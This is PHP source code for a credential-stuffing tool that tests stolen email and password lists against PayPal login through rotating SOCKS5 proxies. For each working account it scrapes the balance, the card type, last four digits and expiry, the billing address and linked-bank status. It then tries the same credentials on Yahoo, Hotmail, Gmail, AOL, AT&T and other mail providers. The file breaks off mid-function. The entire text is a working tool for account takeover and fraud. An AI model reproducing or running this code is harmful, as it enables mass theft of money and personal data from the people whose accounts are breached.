List Mail & Password:
List Socks5
(Auto Check Blacklist, Just Add List Socks 5 But Recommend Socks Fresh/Private):
Delim : Mail : Password : Timeout PP :
Check Email Get Card Get Bank
Change Sock if DIE :




Please enter complete information.

"); } $unfaceguymail = count($mlist); $unfaceguysock=count($slist); /*if($unfaceguymail > 25) { die("
Demo Version - Check 25 mails / 1 turn
Contact Y!M : vsb_unface for FULL VERSION !!!

"); }*/ $unf= new Paypal; $j = 0; $dem_sl = 0; $maxs = 0; $unfaceguy=0; $unfaceguycount=0; $markz=$unfaceguymail-1; for($i=0;$i<$unfaceguysock;$i++){ $maxs = $maxs + 1; $_sockcheckto = $slist[$i]; $_checkclear = $unf->CheckSock($slist[$i], $cookiejar, $pp_timeout); if ($_checkclear == "2"){ echo " >>>>>USING $slist[$i] <<<<<
"; for($j=$unfaceguy;$j<100;$j++) { //$unfaceguycount++; $_mp = explode($splits, $mlist[$j]); $_mail = trim($_mp[($email - 1)]); $_pass = trim($_mp[($pass - 1)]); if(strlen($_pass)>7){ $paypal = $unf->isLogin($_mail, $_pass, $slist[$i],$splits, $cookiejar); $STT = $j + 1; if($paypal == "SOCKTIME"){ echo $slist[$i]." <<< Time Out
"; //$i++; break; } elseif($paypal == "SOCKBL"){ echo $slist[$i]." <<< BlackList
"; //$i++; break; } elseif($paypal == "LIMITED"){ echo "$STT. LIMITED => $_mail | $_pass | $slist[$i]
"; $tslimit .= "LIMITED => $_mail | $_pass | $slist[$i]
"; $sllimit++; //$i++; $unfaceguy=$j+1; break; } elseif($paypal == "SECURITY"){ echo "$STT. SECURITY MEASURES => $_mail | $_pass | $slist[$i]
"; $tslimit .= "SECURITY MEASURES => $_mail | $_pass | $slist[$i]
"; $sllimit++; //$i++; $unfaceguy=$j+1; break; } elseif($paypal == "UPDATE"){ echo "$STT. UPDATE ACCOUNT => $_mail | $_pass | $slist[$i]
"; $tserror .= "UPDATE ACCOUNT => $_mail | $_pass | $slist[$i]
"; $slerror++; //$i++; $unfaceguy=$j+1; break; } elseif($paypal == "PASSWORD"){ echo "$STT. CREATE PASSWORD => $_mail | $_pass | $slist[$i]
"; $tserror .= "CREATE PASSWORD => $_mail | $_pass | $slist[$i]
"; $slerror++; //$i++; $unfaceguy=$j+1; break; } elseif($paypal == "DIE"){ echo "$STT. DIE => $_mail | $_pass | $_slist[$i]
"; $tsdie .= "DIE => $_mail | $_pass | $_slist[$i]
"; $dem_sl = $dem_sl + 1; if($dem_sl == $diechange){ //$i = $i + 1; $dem_sl = 0; $unfaceguy=$j+1; break; } //$i++; //$unfaceguy=$j+1; $sldie++; //break; } elseif($paypal == "ERROR"){ echo "$STT. ERROR => $_mail | $_pass | $_slist[$i]
"; $tserror .= "ERROR => $_mail | $_pass | $_slist[$i]
"; $dem_sl = $dem_sl + 1; if($dem_sl == $diechange){ //$i = $i + 1; $dem_sl = 0; $unfaceguy=$j+1; break; } $slerror++; } else{ echo "$STT. Live | $paypal"; $tslive .= "Live | $paypal"; $sllive++; //$i++; $unfaceguy=$j+1; break; } } if($j==$markz) { $i=$i+10000; } } //$j = $j + 1; } elseif($_checkclear == "1"){ echo $slist[$i]." <<< Blacklist PayPal
"; }elseif($_checkclear == "3"){ echo $slist[$i]." <<< Time Out
"; } flush(); sleep(1); } if($maxs > count($slist)){ echo "Over Sock !!!"; }else{ echo "Tool use to sock:".$_sockcheckto.""; } unlink($cookiejar); $totalchecked = 0; $totalchecked = $sllive + $sldie + $slerror + $sllimit; echo "
"; echo "
Total : ".count($mlist)." | Total Checked : ".$totalchecked." | Live : ".$sllive." | Limit : ".$sllimit." | Die : ".$sldie." | Error : ".$slerror."

"; echo $tslive; echo "
"; echo $tslimit; echo "
"; echo $tsdie; echo "
"; echo $tserror; } ?> ------------------------------------------------------------------------------------------------------- MAIN Code - ------------------------------------------------------------------------------------------------------- curl_init("https://www.google.com/accounts/ClientLogin"); curl_setopt($curl, CURLOPT_POST, true); $data = array( 'accountType' => 'GOOGLE', 'Email' => $email, 'Passwd' => $password, 'service' => 'analytics', 'source' => '' ); if($_sock){ curl_setopt($curl, CURLOPT_PROXY, $_sock); curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); } curl_setopt($curl, CURLOPT_POSTFIELDS, $data); $output = curl_exec($curl); $info = curl_getinfo($curl); curl_close($curl); $this->auth = ''; if($info['http_code'] == 200) { preg_match('/Auth=(.*)/', $output, $matches); if(isset($matches[1])) { $this->auth = $matches[1]; } } return $this->auth != ''; } protected function curl_init($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if($this->auth) { curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: GoogleLogin auth=$this->auth")); } curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); return $curl; } } class Paypal{ function _curl($url,$post="",$usecookie = false) { $ch = curl_init(); if($post) { curl_setopt($ch, CURLOPT_POST ,1); curl_setopt ($ch, CURLOPT_POSTFIELDS, $post); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6"); if ($usecookie) { curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie); curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie); } curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $result=curl_exec ($ch); curl_close ($ch); return $result; } function curl_get($url, $postfields=false, $_sock=false,$cookiejar=false, $ref, $timeout=false, $headers = false) { static $curl; if(empty($curl)) { $curl = curl_init(); curl_setopt($curl, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($curl, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_USERAGENT, $this->get_agent(rand(0,44))); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_MAXREDIRS, 10); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); //curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 2); //curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, true); //curl_setopt($curl, CURLOPT_CAINFO, getcwd() . "/test/VeriSignClass3PublicPrimaryCertificationAuthority-G5.crt"); } if($headers){ curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); } if($timeout){ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,$timeout); curl_setopt($curl, CURLOPT_TIMEOUT,$timeout); } if($_sock){ curl_setopt($curl, CURLOPT_PROXY, $_sock); curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); } curl_setopt($curl, CURLOPT_URL, $url); if(stripos($url, 'https')!==false) { curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); } if ($postfields) { curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields); } if ($ref){ curl_setopt($curl, CURLOPT_REFERER,$ref); } $response = curl_exec($curl); return $response; //curl_close ($curl); @unlink($cookiejar); } ######################################## function curl_get1($url, $postfields=false, $_sock=false,$cookiejar=false, $ref, $timeout=false, $headers = false) { //static $curl; if(empty($curl)) { $curl = curl_init(); curl_setopt($curl, CURLOPT_COOKIEJAR, $cookiejar1); curl_setopt($curl, CURLOPT_COOKIEFILE, $cookiejar1); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_USERAGENT, $this->get_agent(rand(0,44))); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_MAXREDIRS, 10); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); //curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 2); //curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, true); //curl_setopt($curl, CURLOPT_CAINFO, getcwd() . "/test/VeriSignClass3PublicPrimaryCertificationAuthority-G5.crt"); } if($headers){ curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); } if($timeout){ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,$timeout); curl_setopt($curl, CURLOPT_TIMEOUT,$timeout); } if($_sock){ curl_setopt($curl, CURLOPT_PROXY, $_sock); curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); } curl_setopt($curl, CURLOPT_URL, $url); if(stripos($url, 'https')!==false) { curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); } if ($postfields) { curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields); } if ($ref){ curl_setopt($curl, CURLOPT_REFERER,$ref); } $response = curl_exec($curl); return $response; //curl_close ($curl); @unlink($cookiejar1); } ####################################### // testing function getbetween($content,$start,$end){ $r = explode($start, $content); if (isset($r[1])){ $r = explode($end, $r[1]); if ($r[0] == '') return 'Unknown'; return $r[0]; } return 'Unknown'; } function inStr($s,$as) { $s=strtoupper($s); if(!is_array($as)) $as=array($as); for($i=0;$icurl_get1($site1,false,$sock,false, $timeout ); $currentpage = $this->getbetween($s,'s.prop1="','";'); if ((strpos($currentpage,"Billing") !== false) || (stristr($s,"credit card"))){ if((stristr($s,"Choose a PayPal Password")) || (stristr($s,"fieldrow password-create")) || (stristr($s,"Create PayPal Password")) || (preg_match('/Re-enter password/', $s))){ return "1"; } else{ return "2"; } } else{ return "3"; } } function CheckSock3($sock,$cookie, $timeout,$cookiejar ){ //$site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal@dreamhost.com&item_name=Web+Hosting+Donation&item_number=donation_11557&amount=20.00"; $site="http://megaupload.com/?c=premium"; $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal@megaupload.com&item_name=Lifetime+premium+membership+for+Megaupload.com&item_number=premium+(28470707127)&amount=199.99&no_note=1&lc=US&no_shipping=1¤cy_code=USD"; $s = $this->curl_get1($site1,false,$sock,site, $timeout,$cookiejar ); if(!$s) return 3; elseif($this->inStr($s, 's.pageName="MF:1X:Button:Entry:SignUp";')) return 1; elseif($this->inStr($s, 's.pageName="MF:1X:Button:Entry:Billing";')) return 2; else return 3; } function CheckSock1($sock,$cookie, $timeout){ $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal@dreamhost.com&item_name=Web+Hosting+Donation&item_number=donation_11557&amount=20.00"; //$site="http://megaupload.com/?c=premium"; //$site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal@megaupload.com&item_name=Lifetime+premium+membership+for+Megaupload.com&item_number=premium+(28470707127)&amount=199.99&no_note=1&lc=US&no_shipping=1¤cy_code=USD"; $s = $this->curl_get($site1,false,$sock,false, $timeout); $currentpage = $this->getbetween($s,'s.prop1="','";'); if ((strpos($currentpage,"Billing") !== false) || (stristr($s,"credit card"))){ if((preg_match("/Choose a PayPal Password/", $s)) || (preg_match("/fieldrow password-create/", $s))|| (preg_match("/Create PayPal Password/", $s))){ return "1"; } else{ return "2"; } } else{ return "3"; } } function isLogin($email, $password, $sock,$split,$cookiejar) { $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-run"; $s = $this->curl_get($site, false, $sock, "http://www.paypal.com" ); $post = $this->getHiddenFormInputs($s, 'login_form'); if (!$post){ return "SOCKTIME"; } $post['login_email'] = $email; $post['login_password'] = $password; $post = $this->serializePostFields($post); $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit"; $s = $this->curl_get('https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit', $post, $sock, 'http://www.paypal.com'); if($s){ if(preg_match("/Security Measures/", $s)){ return "SECURITY"; } elseif(preg_match('/more than 5 seconds/', $s)){ $_abc = $this->getStr($s,'more than 5 seconds, click here'); $s = $this->curl_get($_abc, false, $sock, 'https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit'); } elseif(preg_match("/Please create a new password for your account/", $s)){ return "PASSWORD"; } elseif(preg_match("/Update account information/", $s)){ return "UPDATE"; } else{ $_abc = "https://www.paypal.com/bh/cgi-bin/webscr?cmd=_account&nav=0.0"; $s = $this->curl_get($_abc, false, $sock, 'https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit'); } } else{ return "SOCKTIME"; } if($s){ $FAIL = $this->getStr($s, 's.prop15="','"'); $NOW = $this->getStr($s,'s.prop1="','"'); $TYPE = $this->getStr($s,'s.prop7="','"'); $STATUS = $this->getStr($s,'s.prop8="','"'); $LIMIT = $this->getStr($s,'s.prop9="','"'); $BALANCE = $this->getStr($s,'', ''); $BALANCE = str_replace('',"",$BALANCE); $BALANCE = str_replace('',"",$BALANCE); $LASTLOGIN = $this->getStr($s,'
', '
'); if($LIMIT == "Unrestricted"){ $LIMIT = "Unlimit"; } else{ $LIMIT = "LIMITED"; } if(!stristr($TYPE, "Unknown") or !stristr($STATUS, "Unknown")){ if($LIMIT == "Unlimit"){ $result = " $email | $password | $TYPE | $STATUS | $BALANCE | $LASTLOGIN "; if($_POST['checkmail'] == true){ $mailchecked = $this->getmail($split, $email, $password, $sock); $result .= "| $mailchecked "; } //$result .= " |"; if($_POST['getinfo']==true){ $info = $this->GETINFO($sock,$cookiejar); //if($info == false){ // $info = "NOT CARD"; //} $result .= "| $info "; } if($_POST['getbank']==true){ $info1 = $this->GETBANK($sock,$cookiejar); $result .= "| $info1 "; } $result.="| $sock
"; return $result; } else{ return "LIMITED"; } } elseif(stristr($NOW, "wax_error")){ return "LIMITED"; } elseif(stristr($NOW, "SecurityChallenge")){ return "SOCKBL"; } elseif(stristr($NOW,"home") or stristr($NOW,"login")){ return "DIE"; } elseif(stristr($FAIL, "login_email")){ return "ERROR"; } else{ return "ERROR"; } } else{ return "SOCKTIME"; } } function GETINFO($sock,$cookiejar) { $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru&flag_from_account_summary=1&nav=0.5.2"; $response = $this->curl_get($site, false, $sock, "http://www.paypal.com"); $checkcard = strpos($response, "Last 4 digits on card"); $checkcard1 = strpos($response, "Last four digits on card"); preg_match_all('/s.pageName="(.*?)";/is',$response,$pageName); if(($this->inStr($pageName[1][0], "F: Add CC")) || ($this->inStr($pageName[1][0], "Add"))) return "NOT CARD"; elseif(($this->inStr($pageName[1][0], "Profile")) || ($checkcard) || ($checkcard1) ){ //if((!$checkcard) && (!$checkcard1)) //{ // return false; //}else{ $temp = $this->getStr1($response,'.gif" border="0" alt="','">'); $_type = $temp[0]; $temp = $this->getStr1($temp[1],'',''); $_4digit = $temp[0]; $temp = $this->getStr1($temp[1],'',''); $_exp = $temp[0]; //$infocard = "$_type $_4digit $_exp | "; $infocard = "$_type $_4digit $_exp | "; } $site = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3"; $response = $this->curl_get($site, false, $sock,"http://www.paypal.com"); $info = $this->getStr($response,'',''); $info = str_replace("
"," | ",$info); $info = $infocard.$info; //$sitemail = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-email"; //$s = $this->curl_get($sitemail,false,$sock,"http://www.paypal.com"); //$mail = $this->getStr($s,'emailList-','"'); /*$sitephone = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-phone"; $s = $this->curl_get($sitephone,false,$sock,"http://www.paypal.com"); $phone = $this->getStr($this->getStr($s,'checked name="phone" value="',''),'">',''); $info = $info.$phone.' | '.$mail;*/ return $info; } function infocard($info) { if($info) { preg_match_all('/s.pageName="(.*?)";/is',$info,$pageName); if($this->inStr($pageName[1][0], "F: Add CC")) return "Not Card"; elseif($this->inStr($pageName[1][0], "Profile")) { preg_match_all('/(.*?)<\/table>/is',$info,$card); preg_match_all('/Have Card"; foreach ($sk[0] as $sd1) { $sd1 = "'); $_4digit = $temp[0]; $temp = $this->getStr1($temp[1],''); $_exp = $temp[0]; //$infocard = "$_type $_4digit $_exp | "; $infocard = "$_type $_4digit $_exp | "; } $site = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3"; $response = $this->curl_get($site, false, $sock, "http://www.paypal.com"); $info = $this->getStr($response,'',''); $info = str_replace("
"," | ",$info); /*$info = $this->infocard($response); $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3"; $response1 = $this->curl_get($site1, false, $sock, "http://www.paypal.com"); $info1=$this->infopp($response1); $info .= $info1; $info = $infocard.$info; //$sitemail = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-email"; //$s = $this->curl_get($sitemail,false,$sock,"http://www.paypal.com"); //$mail = $this->getStr($s,'emailList-','"'); /*$sitephone = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-phone"; $s = $this->curl_get($sitephone,false,$sock,"http://www.paypal.com"); $phone = $this->getStr($this->getStr($s,'checked name="phone" value="',''),'">',''); $info = $info.$phone.' | '.$mail;*/ //return $info; //}*/ function infobank($info) { if($info) { preg_match_all('/s.pageName="(.*?)";/is',$info,$pageName); if(($this->inStr($pageName[1][0], "Enter Bank Details")) || ($this->inStr($pageName[1][0], "AddBankManualDisabled"))) return "Not Bank"; elseif($this->inStr($pageName[1][0], "Profile")) return "Have Bank"; } else return " CHECK BANK ERROR "; } function GETBANK($sock,$cookiejar) { $site = "https://www.paypal.com/uk/cgi-bin/webscr?cmd=_profile-ach&nav=0.5.1"; $response = $this->curl_get($site, false, $sock, "http://www.paypal.com"); /*$checkbank = preg_match("/Add a bank account/i", $response); $checkbank1 = preg_match("/Link your bank account/i",$response); if(($checkbank)||($checkbank1)) { return "NOT BANK"; } else { //$_bank = $temp[0]; //preg_match_all('/
".$sd1; preg_match_all('/(.*?)<\/td>/is',$sd1,$sk1); preg_match_all('/(.*?)/is',$sk1[1][0],$sd2); $pka = $pka." | ".trim($sd2[2][0])." - ".trim($sk1[1][1])." - ".trim($sk1[1][2]); } $pka = $pka.""; return $pka; } } else return " CHECK CARD ERROR "; } ################ /*function GETINFO($sock) { $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru&flag_from_account_summary=1&nav=0.5.2"; $response = $this->curl_get($site, false, $sock, "http://www.paypal.com"); $checkcard = strpos($response, "Last 4 digits on card"); $checkcard1 = strpos($response, "Last four digits on card"); preg_match_all('/s.pageName="(.*?)";/is',$response,$pageName); if(($this->inStr($pageName[1][0], "F: Add CC")) || ($this->inStr($pageName[1][0], "Add"))) return "NOT CARD"; elseif(($this->inStr($pageName[1][0], "Profile")) || ($checkcard) || ($checkcard1) ){ /*$checkcard = strpos($response, "Last 4 digits on card"); $checkcard1 = strpos($response, "Last four digits on card"); if((!$checkcard) && (!$checkcard1)) { return false; }else{ $temp = $this->getStr1($response,'.gif" border="0" alt="','">'); $_type = $temp[0]; $temp = $this->getStr1($temp[1],'','','([\w\W]*?)<\/td>/is',$response, $matches); //$_status = $temp[0]; $infobank= "HAVE BANK"; return $infobank; }*/ $infobank= $this->infobank($response); return $infobank; } ############ /*function GETBANK($sock) { $site = "https://www.paypal.com/uk/cgi-bin/webscr?cmd=_profile-ach&nav=0.5.1"; $response = $this->curl_get($site, false, $sock, "http://www.paypal.com"); $checkbank = preg_match("/Add a bank account/i", $response); $checkbank1 = preg_match("/Link your bank account/i",$response); if(($checkbank)||($checkbank1)) { return "NOT BANK"; } else { //$_bank = $temp[0]; //preg_match_all('/([\w\W]*?)<\/td>/is',$response, $matches); //$_status = $temp[0]; $infobank= "HAVE BANK"; return $infobank; } }*/ function getStr1($string,$start,$end){ $str = explode($start,$string,2); $str = explode($end,$str[1],2); return $str; } function getStr($string,$start,$end){ $str = explode($start,$string); $str = explode($end,$str[1]); return $str[0]; } function getHiddenFormInputs($html) { if(!preg_match('|]+login_form[^>]+>.*|Usi', $html, $form)) { return ''; } if(!preg_match_all('/]+hidden[^>]*>/i', $form[0], $inputs)) { return ''; } $hiddenInputs = array(); foreach($inputs[0] as $input){ if (preg_match('|name\s*=\s*[\'"]([^\'"]+)[\'"]|i', $input, $name)) { $hiddenInputs[$name[1]] = ''; if (preg_match('|value\s*=\s*[\'"]([^\'"]*)[\'"]|i', $input, $value)) { $hiddenInputs[$name[1]] = $value[1]; } } } return $hiddenInputs; } function serializePostFields($postFields) { foreach($postFields as $key => $value) { $value = urlencode($value); $postFields[$key] = "$key=$value"; } $postFields = implode($postFields, '&'); return $postFields; } function rmdirr($dirname){ if (!file_exists($dirname)){ echo "Not found folder"; return false; } if (is_file($dirname)) { return unlink($dirname); } $dir = dir($dirname); while (false !== $entry = $dir->read()) { if ($entry == '.' || $entry == '..') { continue; } rmdirr("$dirname/$entry"); } $dir->close(); return rmdir($dirname); } function yahoo($mail,$pass, $_sock){ $random_text = array("fr", "co.uk", "vn", "ag", "br", "ag", "ca", "al", "co", "cl", "mx", "pe", "ve", "qc", "dk", "de", "ie", "it", "ar",); srand(time()); $sizeof = count($random_text); $random = (rand()%$sizeof); $url="http://login.yahoo.com/config/login?.intl=".$random_text[$random]."&.src=ym&login=".$mail."&passwd=".$pass; $curl=curl_init(); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HEADER, true); curl_setopt($curl, CURLOPT_URL, $url); if($_sock){ curl_setopt($curl, CURLOPT_PROXY, $_sock); curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); } curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1); $xxx=curl_exec($curl); curl_close($curl); if(stristr($xxx,"yahoo.com")){ return 0; }else{ return 1; } } function netzero($mail,$pass, $_sock){ $url = "https://my.netzero.net/start/login.do"; $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"; $postvars = "operation=login&gotoURL=http%3A%2F%2Fmy.netzero.net%2Fstart%2Fwebmail.do%3Fcf%3Dwww&memberId=".$mail."&netzero.net=netzero.com&password=".$pass."&x=56&y=10"; $cookie = "cookies/netzero"; @unlink($cookie); $curl = curl_init($url); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_POST, 1); if($_sock){ curl_setopt($curl, CURLOPT_PROXY, $_sock); curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); } curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars); curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail); // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $content = curl_exec ($curl); curl_close ($curl); unset($curl); if(stristr($content,"The Member ID or Password you have entered is incorrect")){ return 0; } else{ return 1; } } function hotmail($username, $password){ $cookie = 'mail'.rand(1000000,9999999).'123.txt'; @fclose(fopen($cookie,'w')); $url = "http://www.hotmail.com"; $s = $this->_curl($url,"",$cookie); $link = $this->getStr($s,'var g_QS="','"'); $link = "https://login.live.com/ppsecure/post.srf?".$link; $PPFTid = $this->getStr($s,'PPFT" id="','"'); $PPFTvalue = $this->getStr($s,$PPFTid.'" value="','"'); $post = "login=".$username."&passwd=".$password."&type=11&LoginOptions=2&MEST=&PPSX=Passp&PPFT=".$PPFTvalue."&idsbho=1&PwdPad=&sso=&i1=1&i2=2&i3=6382&i4="; $s = $this->_curl($link,$post,$cookie); unlink($cookie); if(stristr($s,'window.location.replace("http://mail.live.com/default')){ return TRUE; } else{ return FALSE; } } function gmail($mail,$pass, $_sock){ $api = new analytics_api(); if($api->login($mail, $pass, $_sock)) { return 1; }else{ return 0; } } function att($mail,$pass, $_sock){ $url = "https://webauth.att.net/auth/webmail/login"; $xax=explode("@",$mail); $domain1=trim($xax[0]); $domain2=trim($xax[1]); $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"; $postvars = "passurl=http%3A%2F%2Fwebmail.att.net%2Fwmc%2Fen-US%2Fv%2Fwmgoto%2F4B308384000C20E4000040702223064702&locale=en-US&user=".$mail."&user1=".$domain1."&domain=".$domain2."&passwd=".$pass."&login.x=19&login.y=9&login=Login"; $cookie = "cookies/att"; @unlink($cookie); $curl = curl_init($url); curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_POST, 1); if($_sock){ curl_setopt($curl, CURLOPT_PROXY, $_sock); curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); } curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars); curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail); // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $content = curl_exec ($curl); curl_close ($curl); unset($curl); if(stristr($content,"Please check and re-enter your e-mail username, domain, and password")){ return 0; }else{ return 1; } } function aol($mail,$pass, $_sock){ $url = "https://my.screenname.aol.com/_cqr/login/login.psp"; $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"; $postvars = "screenname=".$mail."&password=".$pass."&submitSwitch=1&siteId=aolcomprod&mcState=initialized&authLev=1"; $cookie = "cookies/aol"; @unlink($cookie); $curl = curl_init($url); curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_POST, 1); if($_sock){ curl_setopt($curl, CURLOPT_PROXY, $_sock); curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); } curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars); curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail); // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $content = curl_exec ($curl); curl_close ($curl); unset($curl); if(stristr($content,"Incorrect Username or Password.")){ return 0; }else{ return 1; } } function juno($mail,$pass, $_sock){ $url = "https://webmail.juno.com/cgi-bin/login.cgi?rememberMe=0"; $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"; $postvars = "LOGIN=".$mail."&PASSWORD=".$pass."&ajaxSupported=2%2F61220&domain=juno.com"; $cookie = "cookies/juno"; @unlink($cookie); $curl = curl_init($url); curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_POST, 1); if($_sock){ curl_setopt($curl, CURLOPT_PROXY, $_sock); curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); } curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars); curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail); // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $content = curl_exec ($curl); curl_close ($curl); unset($curl); if(stristr($content,"match our files. Please re-enter your Juno username and password")){ return 0; }else{ return 1; } } function mmail($mail,$pass, $_sock){ $url = "https://www.mail.com/auth/login.aspx"; $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"; $postvars ="login=".$mail."&password=".$pass; $cookie = "cookies/mmail"; @unlink($cookie); $curl = curl_init($url); curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); curl_setopt($curl, CURLOPT_TIMEOUT, 4); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1); curl_setopt($curl, CURLOPT_HEADER, 1); curl_setopt($curl, CURLOPT_POST, 1); if($_sock){ curl_setopt($curl, CURLOPT_PROXY, $_sock); curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); } curl_setopt($curl, CURLOPT_POSTFIELDS, $postvars); curl_setopt($curl, CURLOPT_COOKIEJAR, $cookie_checkmail); // curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $content = curl_exec ($curl); curl_close ($curl); unset($curl); if(stristr($content,"Invalid username")){ return 0; }else{ return 1; } } function mac($mail,$pass, $_sock){ $url = "https://auth.me.com/authenticate"; $user_agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"; $postvars = 